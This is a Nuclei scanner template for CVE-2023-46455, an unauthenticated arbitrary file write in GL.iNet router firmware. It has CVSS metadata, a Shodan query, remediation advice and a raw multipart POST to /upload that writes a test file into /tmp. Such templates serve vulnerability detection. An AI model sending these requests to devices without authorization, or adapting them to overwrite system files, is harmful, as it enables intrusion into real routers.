id: CVE-2023-46455 info: name: GL.iNet <= 4.3.7 - Arbitrary File Write author: Zierax severity: high description: | GL.iNet <= 4.3.7 is vulnerable to an arbitrary file write exploit, allowing an attacker to overwrite arbitrary system files. impact: | Unauthenticated attackers can overwrite arbitrary system files, potentially compromising the device configuration and enabling persistent access. remediation: | Upgrade GL.iNet devices to firmware version 4.3.8 or later. reference: - https://github.com/cyberaz0r/GL.iNet-Multiple-Vulnerabilities/blob/main/CVE-2023-46455.py - https://nvd.nist.gov/vuln/detail/CVE-2023-46455 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N cvss-score: 7.5 cve-id: CVE-2023-46455 cwe-id: CWE-22 epss-score: 0.40108 epss-percentile: 0.97409 cpe: cpe:2.3:o:gl-inet:gl-ar300m_firmware:4.3.7:*:*:*:*:*:*:* metadata: max-request: 1 vendor: gl-inet product: gl-ar300m_firmware shodan-query: title:"GL.iNet Admin Panel" tags: cve,cve2023,gl-net,file-upload,intrusive,vuln variables: string: "{{to_lower(rand_text_alpha(5))}}" file: "{{to_lower(rand_text_alpha(4))}}" flow: http(1) && http(2) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} matchers: - type: word part: body words: - "GL.iNet" internal: true case-insensitive: true - raw: - | POST /upload HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=---------------------------81419250823331111993422505835 X-Requested-With: XMLHttpRequest -----------------------------81419250823331111993422505835 Content-Disposition: form-data; name="sid" {{auth_token}} -----------------------------81419250823331111993422505835 Content-Disposition: form-data; name="size" 4 -----------------------------81419250823331111993422505835 Content-Disposition: form-data; name="path" /tmp/{{string}} -----------------------------81419250823331111993422505835 Content-Disposition: form-data; name="file"; filename="{{file}}" Content-Type: application/octet-stream {{string}} -----------------------------81419250823331111993422505835-- matchers-condition: and matchers: - type: word part: body words: - "File uploaded successfully" - type: status status: - 200 # digest: 4b0a00483046022100b1796dbb15a1c1d7997d2a568269aca879bdc9689cd5e59e255db9069f27b68d022100d9a9e3a00cee2cfae591612f556e25b45c78c6b78c70c34725c2644503cecbee:922c64590222798bb761d5b6d8e72950